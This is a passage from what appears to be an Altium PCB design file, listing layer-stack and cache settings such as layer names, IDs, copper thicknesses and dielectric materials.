Paste|V9_STACK_LAYER8_LAYERID=16973833|V9_STACK_LAYER8_USEDBYPRIMS=FALSE|V9_CACHE_LAYER0_ID={5BD60229-8864-48D1-A8EB-95399348CB16}|V9_CACHE_LAYER0_NAME=Multi-Layer|V9_CACHE_LAYER0_LAYERID=16973839|V9_CACHE_LAYER0_USEDBYPRIMS=TRUE|V9_CACHE_LAYER1_ID={8070A95E-9307-4315-AEB7-3279CE2E13B1}|V9_CACHE_LAYER1_NAME=Connections|V9_CACHE_LAYER1_LAYERID=16973840|V9_CACHE_LAYER1_USEDBYPRIMS=FALSE|V9_CACHE_LAYER2_ID={7EB5AEF4-1A76-41D4-9E03-30A4837CD13B}|V9_CACHE_LAYER2_NAME=Background|V9_CACHE_LAYER2_LAYERID=16973841|V9_CACHE_LAYER2_USEDBYPRIMS=FALSE|V9_CACHE_LAYER3_ID={8102A625-DB52-4B32-89F5-EBC69CA6A514}|V9_CACHE_LAYER3_NAME=DRC Error Markers|V9_CACHE_LAYER3_LAYERID=16973842|V9_CACHE_LAYER3_USEDBYPRIMS=TRUE|V9_CACHE_LAYER4_ID={206DC379-9404-4C98-9A1A-8266C349DD4D}|V9_CACHE_LAYER4_NAME=DRC Detail Markers|V9_CACHE_LAYER4_LAYERID=16973850|V9_CACHE_LAYER4_USEDBYPRIMS=FALSE|V9_CACHE_LAYER5_ID={AA18D623-7F09-4267-BB86-AB16641CF2C7}|V9_CACHE_LAYER5_NAME=Selections|V9_CACHE_LAYER5_LAYERID=16973843|V9_CACHE_LAYER5_USEDBYPRIMS=FALSE|V9_CACHE_LAYER6_ID={C29197C8-F94E-4FA2-9DF0-092BF0692FD2}|V9_CACHE_LAYER6_NAME=Visible Grid 1|V9_CACHE_LAYER6_LAYERID=16973844|V9_CACHE_LAYER6_USEDBYPRIMS=FALSE|V9_CACHE_LAYER7_ID={CBB6B9C8-7C09-4943-BDF2-93A59B98F4D9}|V9_CACHE_LAYER7_NAME=Visible Grid 2|V9_CACHE_LAYER7_LAYERID=16973845|V9_CACHE_LAYER7_USEDBYPRIMS=FALSE|V9_CACHE_LAYER8_ID={DA4EDDDD-E049-49D0-BC05-78F97F6745B8}|V9_CACHE_LAYER8_NAME=Pad Holes|V9_CACHE_LAYER8_LAYERID=16973846|V9_CACHE_LAYER8_USEDBYPRIMS=FALSE|V9_CACHE_LAYER9_ID={A1D1422F-3445-48C1-AC9E-19016BB49E01}|V9_CACHE_LAYER9_NAME=Via Holes|V9_CACHE_LAYER9_LAYERID=16973847|V9_CACHE_LAYER9_USEDBYPRIMS=FALSE|V9_CACHE_LAYER10_ID={BD19B618-ECCD-4B7D-9162-6DD6573F7C3A}|V9_CACHE_LAYER10_NAME=Top Pad Master|V9_CACHE_LAYER10_LAYERID=16973848|V9_CACHE_LAYER10_USEDBYPRIMS=FALSE|V9_CACHE_LAYER11_ID={8FDE5189-A9FB-4D7C-9FC7-48B4DD5C87EE}|V9_CACHE_LAYER11_NAME=Bottom Pad Master|V9_CACHE_LAYER11_LAYERID=16973849|V9_CACHE_LAYER11_USEDBYPRIMS=FALSE|V9_CACHE_LAYER12_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER12_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER12_ID={30045540-1B4B-4001-AB64-318F70B47D5C}|V9_CACHE_LAYER12_NAME=Top Paste|V9_CACHE_LAYER12_LAYERID=16973832|V9_CACHE_LAYER12_USEDBYPRIMS=FALSE|V9_CACHE_LAYER13_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER13_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER13_ID={F22BABF4-3864-4478-9E30-F3A5F449D148}|V9_CACHE_LAYER13_NAME=Top Overlay|V9_CACHE_LAYER13_LAYERID=16973830|V9_CACHE_LAYER13_USEDBYPRIMS=TRUE|V9_CACHE_LAYER14_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER14_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER14_ID={5A303FD1-9A68-46E1-8805-901769ECECC7}|V9_CACHE_LAYER14_NAME=Top Solder|V9_CACHE_LAYER14_LAYERID=16973834|V9_CACHE_LAYER14_USEDBYPRIMS=FALSE|V9_CACHE_LAYER14_DIELTYPE=3|V9_CACHE_LAYER14_DIELCONST=3.500|V9_CACHE_LAYER14_DIELHEIGHT=0.4mil|V9_CACHE_LAYER14_DIELMATERIAL=Solder Resist|V9_CACHE_LAYER14_COVERLAY_EXPANSION=0mil|V9_CACHE_LAYER15_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER15_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER15_ID={999DF18F-9048-469A-90BE-9E37DD83557B}|V9_CACHE_LAYER15_NAME=Top Layer|V9_CACHE_LAYER15_LAYERID=16777217|V9_CACHE_LAYER15_USEDBYPRIMS=TRUE|V9_CACHE_LAYER15_COPTHICK=1.4mil|V9_CACHE_LAYER15_COMPONENTPLACEMENT=1|V9_CACHE_LAYER16_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER16_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER16_ID={02BF3CDA-3C8F-4FAD-9742-9D994AE02F07}|V9_CACHE_LAYER16_NAME=Dielectric 1|V9_CACHE_LAYER16_LAYERID=17039361|V9_CACHE_LAYER16_USEDBYPRIMS=FALSE|V9_CACHE_LAYER16_DIELTYPE=0|V9_CACHE_LAYER16_DIELCONST=4.800|V9_CACHE_LAYER16_DIELHEIGHT=12.6mil|V9_CACHE_LAYER16_DIELMATERIAL=FR-4|V9_CACHE_LAYER17_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER17_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER17_ID={9A0521B6-9E50-4E7C-A183-D2BA2C61636A}|V9_CACHE_LAYER17_NAME=Bottom Layer|V9_CACHE_LAYER17_LAYERID=16842751|V9_CACHE_LAYER17_USEDBYPRIMS=TRUE|V9_CACHE_LAYER17_COPTHICK=1.4mil|V9_CACHE_LAYER17_COMPONENTPLACEMENT=2|V9_CACHE_LAYER18_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER18_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER18_ID={6089F658-C6F8-45EF-ADE9-00844D259BA3}|V9_CACHE_LAYER18_NAME=Bottom Solder|V9_CACHE_LAYER18_LAYERID=16973835|V9_CACHE_LAYER18_USEDBYPRIMS=FALSE|V9_CACHE_LAYER18_DIELTYPE=3|V9_CACHE_LAYER18_DIELCONST=3.500|V9_CACHE_LAYER18_DIELHEIGHT=0.4mil|V9_CACHE_LAYER18_DIELMATERIAL=Solder Resist|V9_CACHE_LAYER18_COVERLAY_EXPANSION=0mil|V9_CACHE_LAYER19_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER19_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER19_ID={F336B23E-1435-4733-9ED3-34BDF2531FBF}|V9_CACHE_LAYER19_NAME=Bottom Overlay|V9_CACHE_LAYER19_LAYERID=16973831|V9_CACHE_LAYER19_USEDBYPRIMS=FALSE|V9_CACHE_LAYER20_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER20_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER20_ID={70A911C0-2DEF-47D0-84F8-E68892450F49}|V9_CACHE_LAYER20_NAME=Bottom Paste|V9_CACHE_LAYER20_LAYERID=16973833|V9_CACHE_LAYER20_USEDBYPRIMS=FALSE|V9_CACHE_LAYER21_ID={FE59785D-26D8-4FD6-B923-E760F7F077E3}|V9_CACHE_LAYER21_NAME=Mid-Layer 1|V9_CACHE_LAYER21_LAYERID=16777218|V9_CACHE_LAYER21_USEDBYPRIMS=FALSE|V9_CACHE_LAYER21_COPTHICK=1.4mil|V9_CACHE_LAYER21_COMPONENTPLACEMENT=0|V9_CACHE_LAYER22_ID={B0C8A7B9-8B54-4389-A841-FCF491AD93FD}|V9_CACHE_LAYER22_NAME=Mid-Layer 2|V9_CACHE_LAYER22_LAYERID=16777219|V9_CACHE_LAYER22_USEDBYPRIMS=FALSE|V9_CACHE_LAYER22_COPTHICK=1.4mil|V9_CACHE_LAYER22_COMPONENTPLACEMENT=0|V9_CACHE_LAYER23_ID={425D6245-4319-4AB4-8614-AA98CB532EFA}|V9_CACHE_LAYER23_NAME=Mid-Layer 3|V9_CACHE_LAYER23_LAYERID=16777220|V9_CACHE_LAYER23_USEDBYPRIMS=FALSE|V9_CACHE_LAYER23_COPTHICK=1.4mil|V9_CACHE_LAYER23_COMPONENTPLACEMENT=0|V9_CACHE_LAYER24_ID={0AD325F0-8A84-4540-A49A-ADFC2AE92297}|V9_CACHE_LAYER24_NAME=Mid-Layer 4|V9_CACHE_LAYER24_LAYERID=16777221|V9_CACHE_LAYER24_USEDBYPRIMS=FALSE|V9_CACHE_LAYER24_COPTHICK=1.4mil|V9_CACHE_LAYER24_COMPONENTPLACEMENT=0|V9_CACHE_LAYER25_ID={C0E851CA-CB15-4CAF-BAF8-31735E1371C2}|V9_CACHE_LAYER25_NAME=Mid-Layer 5|V9_CACHE_LAYER25_LAYERID=16777222|V9_CACHE_LAYER25_USEDBYPRIMS=FALSE|V9_CACHE_LAYER25_COPTHICK=1.4mil|V9_CACHE_LAYER25_COMPONENTPLACEMENT=0|V9_CACHE_LAYER26_ID={7BA573E3-F861-4805-B48E-6D01299949CD}|V9_CACHE_LAYER26_NAME=Mid-Layer 6|V9_CACHE_LAYER26_LAYERID=16777223|V9_CACHE_LAYER26_USEDBYPRIMS=FALSE|V9_CACHE_LAYER26_COPTHICK=1.4mil|V9_CACHE_LAYER26_COMPONENTPLACEMENT=0|V9_CACHE_LAYER27_ID={9872A474-005C-4AF4-9195-DF6C1E9663CF}|V9_CACHE_LAYER27_NAME=Mid-Layer 7|V9_CACHE_LAYER27_LAYERID=16777224|V9_CACHE_LAYER27_USEDBYPRIMS=FALSE|V9_CACHE_LAYER27_COPTHICK=1.4mil|V9_CACHE_LAYER27_COMPONENTPLACEMENT=0|V9_CACHE_LAYER28_ID={D6FE3646-74C7-4732-BEFC-A1A71FFD6EFB}|V9_CACHE_LAYER28_NAME=Mid-Layer 8|V9_CACHE_LAYER28_LAYERID=16777225|V9_CACHE_LAYER28_USEDBYPRIMS=FALSE|V9_CACHE_LAYER28_COPTHICK=1.4mil|V9_CACHE_LAYER28_COMPONENTPLACEMENT=0|V9_CACHE_LAYER29_ID={0C288C20-EE2F-482D-98BD-2981EAB84ADE}|V9_CACHE_LAYER29_NAME=Mid-Layer 9|V9_CACHE_LAYER29_LAYERID=16777226|V9_CACHE_LAYER29_USEDBYPRIMS=FALSE|V9_CACHE_LAYER29_COPTHICK=1.4mil|V9_CACHE_LAYER29_COMPONENTPLACEMENT=0|V9_CACHE_LAYER30_ID={6E1DA2A7-C5C0-4C15-8F1F-5492BA456154}|V9_CACHE_LAYER30_NAME=Mid-Layer 10|V9_CACHE_LAYER30_LAYERID=16777227|V9_CACHE_LAYER30_USEDBYPRIMS=FALSE|V9_CACHE_LAYER30_COPTHICK=1.4mil|V9_CACHE_LAYER30_COMPONENTPLACEMENT=0|V9_CACHE_LAYER31_ID={7557039F-9350-46D3-85B3-328DD54F3010}|V9_CACHE_LAYER31_NAME=Mid-Layer 11|V9_CACHE_LAYER31_LAYERID=16777228|V9_CACHE_LAYER31_USEDBYPRIMS=FALSE|V9_CACHE_LAYER31_COPTHICK=1.4mil|V9_CACHE_LAYER31_COMPONENTPLACEMENT=0|V9_CACHE_LAYER32_ID={2FA3D2A7-96C4-4CA5-B4C6-4835F532132F}|V9_CACHE_LAYER32_NAME=Mid-Layer 12|V9_CACHE_LAYER32_LAYERID=16777229|V9_CACHE_LAYER32_USEDBYPRIMS=FALSE|V9_CACHE_LAYER32_COPTHICK=1.4mil|V9_CACHE_LAYER32_COMPONENTPLACEMENT=0|V9_CACHE_LAYER33_ID={4F3AAE13-5C33-4962-A4BD-410E06716A9B}|V9_CACHE_LAYER33_NAME=Mid-Layer 13|V9_CACHE_LAYER33_LAYERID=16777230|V9_CACHE_LAYER33_USEDBYPRIMS=FALSE|V9_CACHE_LAYER33_COPTHICK=1.4mil|V9_CACHE_LAYER33_COMPONENTPLACEMENT=0|V9_CACHE_LAYER34_ID={DF005CB7-AEB9-40B7-88B5-7C47D5421206}|V9_CACHE_LAYER34_NAME=Mid-Layer 14|V9_CACHE_LAYER34_LAYERID=16777231|V9_CACHE_LAYER34_USEDBYPRIMS=FALSE|V9_CACHE_LAYER34_COPTHICK=1.4mil|V9_CACHE_LAYER34_COMPONENTPLACEMENT=0|V9_CACHE_LAYER35_ID={BA6246ED-D159-436E-9961-C289601CCAEB}|V9_CACHE_LAYER35_NAME=Mid-Layer 15|V9_CACHE_LAYER35_LAYERID=16777232|V9_CACHE_LAYER35_USEDBYPRIMS=FALSE|V9_CACHE_LAYER35_COPTHICK=1.4mil|V9_CACHE_LAYER35_COMPONENTPLACEMENT=0|V9_CACHE_LAYER36_ID={884F51EC-C10B-4E0E-9F10-7178C5BEA158}|V9_CACHE_LAYER36_NAME=Mid-Layer 16|V9_CACHE_LAYER36_LAYERID=16777233|V9_CACHE_LAYER36_USEDBYPRIMS=FALSE|V9_CACHE_LAYER36_COPTHICK=1.4mil|V9_CACHE_LAYER36_COMPONENTPLACEMENT=0|V9_CACHE_LAYER37_ID={C97B070E-3AC3-43EC-BBED-D1C9E10CF01A}|V9_CACHE_LAYER37_NAME=Mid-Layer 17|V9_CACHE_LAYER37_LAYERID=16777234|V9_CACHE_LAYER37_USEDBYPRIMS=FALSE|V9_CACHE_LAYER37_COPTHICK=1.4mil|V9_CACHE_LAYER37_COMPONENTPLACEMENT=0|V9_CACHE_LAYER38_ID={8F233F1D-30DA-4370-AF8E-AFA361677EBC}|V9_CACHE_LAYER38_NAME=Mid-Layer 18|V9_CACHE_LAYER38_LAYERID=16777235|V9_CACHE_LAYER38_USEDBYPRIMS=FALSE|V9_CACHE_LAYER38_COPTHICK=1.4mil|V9_CACHE_LAYER38_COMPONENTPLACEMENT=0|V9_CACHE_LAYER39_ID={A98C67CA-F66D-48B8-BEAA-12A947FFC829}|V9_CACHE_LAYER39_NAME=Mid-Layer 19|V9_CACHE_LAYER39_LAYERID=16777236|V9_CACHE_LAYER39_USEDBYPRIMS=FALSE|V9_CACHE_LAYER39_COPTHICK=1.4mil|V9_CACHE_LAYER39_COMPONENTPLACEMENT=0|V9_CACHE_LAYER40_ID={C86B41A1-A82B-4A64-81A8-F1BEBDF19185}|V9_CACHE_LAYER40_NAME=Mid-Layer 20|V9_CACHE_LAYER40_LAYERID=16777237|V9_CACHE_LAYER40_USEDBYPRIMS=FALSE|V9_CACHE_LAYER40_COPTHICK=1.4mil|V9_CACHE_LAYER40_COMPONENTPLACEMENT=0|V9_CACHE_LAYER41_ID={073E8AA8-51D1-4FA5-A4F6-07C834C5BD68}|V9_CACHE_LAYER41_NAME=Mid-Layer 21|V9_CACHE_LAYER41_LAYERID=16777238|V9_CACHE_LAYER41_USEDBYPRIMS=FALSE|V9_CACHE_LAYER41_COPTHICK=1.4mil|V9_CACHE_LAYER41_COMPONENTPLACEMENT=0|V9_CACHE_LAYER42_ID={3469A2DB-6E8A-41D8-BBE4-1941439DD254}|V9_CACHE_LAYER42_NAME=Mid-Layer 22|V9_CACHE_LAYER42_LAYERID=16777239|V9_CACHE_LAYER42_USEDBYPRIMS=FALSE|V9_CACHE_LAYER42_COPTHICK=1.4mil|V9_CACHE_LAYER42_COMPONENTPLACEMENT=0|V9_CACHE_LAYER43_ID={E620026E-8B05-4425-BAFB-A63ADD97EA66}|V9_CACHE_LAYER43_NAME=Mid-Layer 23|V9_CACHE_LAYER43_LAYERID=16777240|V9_CACHE_LAYER43_USEDBYPRIMS=FALSE|V9_CACHE_LAYER43_COPTHICK=1.4mil|V9_CACHE_LAYER43_COMPONENTPLACEMENT=0|V9_CACHE_LAYER44_ID={610DCC7E-6579-4EDF-BA03-A21F0A7F978F}|V9_CACHE_LAYER44_NAME=Mid-Layer 24|V9_CACHE_LAYER44_LAYERID=16777241|V9_CACHE_LAYER44_USEDBYPRIMS=FALSE|V9_CACHE_LAYER44_COPTHICK=1.4mil|V9_CACHE_LAYER44_COMPONENTPLACEMENT=0|V9_CACHE_LAYER45_ID={25AE0E36-F60E-45BF-B68F-00153072BC51}|V9_CACHE_LAYER45_NAME=Mid-Layer 25|V9_CACHE_LAYER45_LAYERID=16777242|V9_CACHE_LAYER45_USEDBYPRIMS=FALSE|V9_CACHE_LAYER45_COPTHICK=1.4mil|V9_CACHE_LAYER45_COMPONENTPLACEMENT=0|V9_CACHE_LAYER46_ID={552282B8-6B39-4316-926F-5BBCC34132E3}|V9_CACHE_LAYER46_NAME=Mid-Layer 26|V9_CACHE_LAYER46_LAYERID=16777243|V9_CACHE_LAYER46_USEDBYPRIMS=FALSE|V9_CACHE_LAYER46_COPTHICK=1.4mil|V9_CACHE_LAYER46_COMPONENTPLACEMENT=0|V9_CACHE_LAYER47_ID={E6E5285E-3B16-45CE-B153-3BE844CAA0CD}|V9_CACHE_LAYER47_NAME=Mid-Layer 27|V9_CACHE_LAYER47_LAYERID=16777244|V9_CACHE_LAYER47_USEDBYPRIMS=FALSE|V9_CACHE_LAYER47_COPTHICK=1.4mil|V9_CACHE_LAYER47_COMPONENTPLACEMENT=0|V9_CACHE_LAYER48_ID={BD313898-8ED6-41BA-B16B-564E39EB40BF}|V9_CACHE_LAYER48_NAME=Mid-Layer 28|V9_CACHE_LAYER48_LAYERID=16777245|V9_CACHE_LAYER48_USEDBYPRIMS=FALSE|V9_CACHE_LAYER48_COPTHICK=1.4mil|V9_CACHE_LAYER48_COMPONENTPLACEMENT=0|V9_CACHE_LAYER49_ID={6DFF7FA6-2FDC-4AC2-A086-57F923E84159}|V9_CACHE_LAYER49_NAME=Mid-Layer 29|V9_CACHE_LAYER49_LAYERID=16777246|V9_CACHE_LAYER49_USEDBYPRIMS=FALSE|V9_CACHE_LAYER49_COPTHICK=1.4mil|V9_CACHE_LAYER49_COMPONENTPLACEMENT=0|V9_CACHE_LAYER50_ID={39A14A3A-0E9C-4356-8840-5CD267F22BBD}|V9_CACHE_LAYER50_NAME=Mid-Layer 30|V9_CACHE_LAYER50_LAYERID=16777247|V9_CACHE_LAYER50_USEDBYPRIMS=FALSE|V9_CACHE_LAYER50_COPTHICK=1.4mil|V9_CACHE_LAYER50_COMPONENTPLACEMENT=0|V9_CACHE_LAYER51_ID={5FCADAC4-66B2-4043-8237-11DFFACEA9C5}|V9_CACHE_LAYER51_NAME=Internal Plane 1|V9_CACHE_LAYER51_LAYERID=16842753|V9_CACHE_LAYER51_USEDBYPRIMS=FALSE|V9_CACHE_LAYER51_COPTHICK=1.4mil|V9_CACHE_LAYER51_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER52_ID={C5D6A258-CC56-40F5-855F-B8D977F4CE56}|V9_CACHE_LAYER52_NAME=Internal Plane 2|V9_CACHE_LAYER52_LAYERID=16842754|V9_CACHE_LAYER52_USEDBYPRIMS=FALSE|V9_CACHE_LAYER52_COPTHICK=1.4mil|V9_CACHE_LAYER52_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER53_ID={5843A3E0-08E3-409E-A8B4-BF5B9280E3BF}|V9_CACHE_LAYER53_NAME=Internal Plane 3|V9_CACHE_LAYER53_LAYERID=16842755|V9_CACHE_LAYER53_USEDBYPRIMS=FALSE|V9_CACHE_LAYER53_COPTHICK=1.4mil|V9_CACHE_LAYER53_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER54_ID={EC40BCFF-0074-4238-A520-B4A20F24C61C}|V9_CACHE_LAYER54_NAME=Internal Plane 4|V9_CACHE_LAYER54_LAYERID=16842756|V9_CACHE_LAYER54_USEDBYPRIMS=FALSE|V9_CACHE_LAYER54_COPTHICK=1.4mil|V9_CACHE_LAYER54_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER55_ID={E459C708-A0D7-427B-8EA8-B6E89DC0FC19}|V9_CACHE_LAYER55_NAME=Internal Plane 5|V9_CACHE_LAYER55_LAYERID=16842757|V9_CACHE_LAYER55_USEDBYPRIMS=FALSE|V9_CACHE_LAYER55_COPTHICK=1.4mil|V9_CACHE_LAYER55_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER56_ID={BD09DE05-957A-41A1-817A-CB43318F9765}|V9_CACHE_LAYER56_NAME=Internal Plane 6|V9_CACHE_LAYER56_LAYERID=16842758|V9_CACHE_LAYER56_USEDBYPRIMS=FALSE|V9_CACHE_LAYER56_COPTHICK=1.4mil|V9_CACHE_LAYER56_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER57_ID={F387BFFE-83B1-4E53-BCA5-141D68E2F0EE}|V9_CACHE_LAYER57_NAME=Internal Plane 7|V9_CACHE_LAYER57_LAYERID=16842759|V9_CACHE_LAYER57_USEDBYPRIMS=FALSE|V9_CACHE_LAYER57_COPTHICK=1.4mil|V9_CACHE_LAYER57_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER58_ID={4523E0CB-C833-4771-818B-7B45BADF8040}|V9_CACHE_LAYER58_NAME=Internal Plane 8|V9_CACHE_LAYER58_LAYERID=16842760|V9_CACHE_LAYER58_USEDBYPRIMS=FALSE|V9_CACHE_LAYER58_COPTHICK=1.4mil|V9_CACHE_LAYER58_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER59_ID={6726A93D-9BFE-44EB-BE27-B13D312A28D1}|V9_CACHE_LAYER59_NAME=Internal Plane 9|V9_CACHE_LAYER59_LAYERID=16842761|V9_CACHE_LAYER59_USEDBYPRIMS=FALSE|V9_CACHE_LAYER59_COPTHICK=1.4mil|V9_CACHE_LAYER59_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER60_ID={FA091E45-95AC-43BD-9D9E-DD2CFB83A3B5}|V9_CACHE_LAYER60_NAME=Internal Plane 10|V9_CACHE_LAYER60_LAYERID=16842762|V9_CACHE_LAYER60_USEDBYPRIMS=FALSE|V9_CACHE_LAYER60_COPTHICK=1.4mil|V9_CACHE_LAYER60_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER61_ID={EA8C4DCA-7FB8-4BFC-9D7B-CF6BA960FCD1}|V9_CACHE_LAYER61_NAME=Internal Plane 11|V9_CACHE_LAYER61_LAYERID=16842763|V9_CACHE_LAYER61_USEDBYPRIMS=FALSE|V9_CACHE_LAYER61_COPTHICK=1.4mil|V9_CACHE_LAYER61_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER62_ID={F17233E1-D632-494D-B28A-9474875AC851}|V9_CACHE_LAYER62_NAME=Internal Plane 12|V9_CACHE_LAYER62_LAYERID=16842764|V9_CACHE_LAYER62_USEDBYPRIMS=FALSE|V9_CACHE_LAYER62_COPTHICK=1.4mil|V9_CACHE_LAYER62_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER63_ID={7643C5B0-152C-4FEA-9D6A-02F130ECFD18}|V9_CACHE_LAYER63_NAME=Internal Plane 13|V9_CACHE_LAYER63_LAYERID=16842765|V9_CACHE_LAYER63_USEDBYPRIMS=FALSE|V9_CACHE_LAYER63_COPTHICK=1.4mil|V9_CACHE_LAYER63_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER64_ID={3B0614FF-8DF1-4F0B-910F-A821ECDECD61}|V9_CACHE_LAYER64_NAME=Internal Plane 14|V9_CACHE_LAYER64_LAYERID=16842766|V9_CACHE_LAYER64_USEDBYPRIMS=FALSE|V9_CACHE_LAYER64_COPTHICK=1.4mil|V9_CACHE_LAYER64_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER65_ID={62680A32-F342-4F76-9DE4-F7FDE9280883}|V9_CACHE_LAYER65_NAME=Internal Plane 15|V9_CACHE_LAYER65_LAYERID=16842767|V9_CACHE_LAYER65_USEDBYPRIMS=FALSE|V9_CACHE_LAYER65_COPTHICK=1.4mil|V9_CACHE_LAYER65_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER66_ID={58CCA1F0-CD98-4DFC-A1C4-4C2AB3406D70}|V9_CACHE_LAYER66_NAME=Internal Plane 16|V9_CACHE_LAYER66_LAYERID=16842768|V9_CACHE_LAYER66_USEDBYPRIMS=FALSE|V9_CACHE_LAYER66_COPTHICK=1.4mil|V9_CACHE_LAYER66_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER67_ID={E8290CA5-BEA0-4E83-96B1-23D20EA02F85}|V9_CACHE_LAYER67_NAME=Drill Guide|V9_CACHE_LAYER67_LAYERID=16973836|V9_CACHE_LAYER67_USEDBYPRIMS=FALSE|V9_CACHE_LAYER68_ID={08621FAB-15B4-4F84-BEAC-BA151C1F4B72}|V9_CACHE_LAYER68_NAME=Keep-Out Layer|V9_CACHE_LAYER68_LAYERID=16973837|V9_CACHE_LAYER68_USEDBYPRIMS=FALSE|V9_CACHE_LAYER69_ID={3864CBAF-735C-4B7A-BAE9-487907FA8A74}|V9_CACHE_LAYER69_NAME=Mechanical 1|V9_CACHE_LAYER69_LAYERID=16908289|V9_CACHE_LAYER69_USEDBYPRIMS=TRUE|V9_CACHE_LAYER69_MECHENABLED=TRUE|V9_CACHE_LAYER70_ID={EB226783-9634-4E34-AC70-BAC099967C4F}|V9_CACHE_LAYER70_NAME=Mechanical 2|V9_CACHE_LAYER70_LAYERID=16908290|V9_CACHE_LAYER70_USEDBYPRIMS=FALSE|V9_CACHE_LAYER70_MECHENABLED=FALSE|V9_CACHE_LAYER71_ID={CBEE9FFA-3088-4BDC-A77F-7B88E5C3E621}|V9_CACHE_LAYER71_NAME=Mechanical 3|V9_CACHE_LAYER71_LAYERID=16908291|V9_CACHE_LAYER71_USEDBYPRIMS=FALSE|V9_CACHE_LAYER71_MECHENABLED=FALSE|V9_CACHE_LAYER72_ID={B104DC7E-B5C6-49F4-A7E6-CF3DDD388A50}|V9_CACHE_LAYER72_NAME=Mechanical 4|V9_CACHE_LAYER72_LAYERID=16908292|V9_CACHE_LAYER72_USEDBYPRIMS=FALSE|V9_CACHE_LAYER72_MECHENABLED=FALSE|V9_CACHE_LAYER73_ID={DA40F3B6-1EDC-43A1-B63B-AF6F4DF3BBA6}|V9_CACHE_LAYER73_NAME=Mechanical 5|V9_CACHE_LAYER73_LAYERID=16908293|V9_CACHE_LAYER73_USEDBYPRIMS=FALSE|V9_CACHE_LAYER73_MECHENABLED=FALSE|V9_CACHE_LAYER74_ID={FAE5DF52-1C9B-429C-BB7E-87A7DCA71801}|V9_CACHE_LAYER74_NAME=Mechanical 6|V9_CACHE_LAYER74_LAYERID=16908294|V9_CACHE_LAYER74_USEDBYPRIMS=FALSE|V9_CACHE_LAYER74_MECHENABLED=FALSE|V9_CACHE_LAYER75_ID={697553D7-17A5-49BD-8D18-D2B57BB66E97}|V9_CACHE_LAYER75_NAME=Mechanical 7|V9_CACHE_LAYER75_LAYERID=16908295|V9_CACHE_LAYER75_USEDBYPRIMS=FALSE|V9_CACHE_LAYER75_MECHENABLED=FALSE|V9_CACHE_LAYER76_ID={4E6BD0D0-D9F9-4353-A728-FF9E229BEFAC}|V9_CACHE_LAYER76_NAME=Mechanical 8|V9_CACHE_LAYER76_LAYERID=16908296|V9_CACHE_LAYER76_USEDBYPRIMS=FALSE|V9_CACHE_LAYER76_MECHENABLED=FALSE|V9_CACHE_LAYER77_ID={0E025A02-9809-459D-B658-102C695DC543}|V9_CACHE_LAYER77_NAME=Mechanical 9|V9_CACHE_LAYER77_LAYERID=16908297|V9_CACHE_LAYER77_USEDBYPRIMS=FALSE|V9_CACHE_LAYER77_MECHENABLED=FALSE|V9_CACHE_LAYER78_ID={883646CA-70D8-49E7-AF54-51157F0FE954}|V9_CACHE_LAYER78_NAME=Mechanical 10|V9_CACHE_LAYER78_LAYERID=16908298|V9_CACHE_LAYER78_USEDBYPRIMS=FALSE|V9_CACHE_LAYER78_MECHENABLED=FALSE|V9_CACHE_LAYER79_ID={CBE638A4-2687-4B18-8847-B98D06CDCC62}|V9_CACHE_LAYER79_NAME=Mechanical 11|V9_CACHE_LAYER79_LAYERID=16908299|V9_CACHE_LAYER79_USEDBYPRIMS=FALSE|V9_CACHE_LAYER79_MECHENABLED=FALSE|V9_CACHE_LAYER80_ID={6DAFEEC7-8500-40F6-B6E3-02516FE2CAAE}|V9_CACHE_LAYER80_NAME=Mechanical 12|V9_CACHE_LAYER80_LAYERID=16908300|V9_CACHE_LAYER80_USEDBYPRIMS=FALSE|V9_CACHE_LAYER80_MECHENABLED=FALSE|V9_CACHE_LAYER81_ID={EB37C7B0-0986-4DF6-9870-6AA3F7163DA3}|V9_CACHE_LAYER81_NAME=Mechanical 13|V9_CACHE_LAYER81_LAYERID=16908301|V9_CACHE_LAYER81_USEDBYPRIMS=FALSE|V9_CACHE_LAYER81_MECHENABLED=FALSE|V9_CACHE_LAYER82_ID={05571D47-8A5D-432F-A1A8-CFE9C0ACE74D}|V9_CACHE_LAYER82_NAME=Mechanical 